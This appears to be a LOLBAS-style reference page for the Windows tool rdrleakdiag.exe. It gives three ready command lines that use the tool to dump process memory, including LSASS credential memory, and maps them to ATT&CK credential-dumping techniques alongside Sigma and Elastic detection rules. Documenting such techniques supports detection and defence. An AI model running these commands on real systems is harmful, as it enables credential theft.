.. /rdrleakdiag.exe ☆ Star

Dump

Microsoft Windows resource leak diagnostic tool

Paths:
c:\windows\system32\rdrleakdiag.exe
c:\Windows\SysWOW64\rdrleakdiag.exe

Resources:

- https://twitter.com/0gtweet/status/1299071304805560321?s=21
- https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
- https://github.com/LOLBAS-Project/LOLBAS/issues/84

Acknowledgements:

- Grzegorz Tworek (@0gtweet)

Detections:

- Sigma: proc_creation_win_rdrleakdiag_process_dumping.yml
- Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html
- Elastic: credential_access_cmdline_dump_tool.toml

Dump

1. Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

```
rdrleakdiag.exe /p 940 /o c:\evil /fullmemdmp /wait 1
```

Use case:	Dump process by PID.
Privileges required:	User
Operating systems:	Windows
ATT&CK® technique:	**T1003**: OS Credential Dumping

2. Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

```
rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /wait 1
```

Use case:	Dump LSASS process.
Privileges required:	Administrator
Operating systems:	Windows
ATT&CK® technique:	**T1003.001**: LSASS Memory

3. After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).

```
rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /snap
```

Use case:	Dump LSASS process mutliple times.
Privileges required:	Administrator
Operating systems:	Windows
ATT&CK® technique:	**T1003.001**: LSASS Memory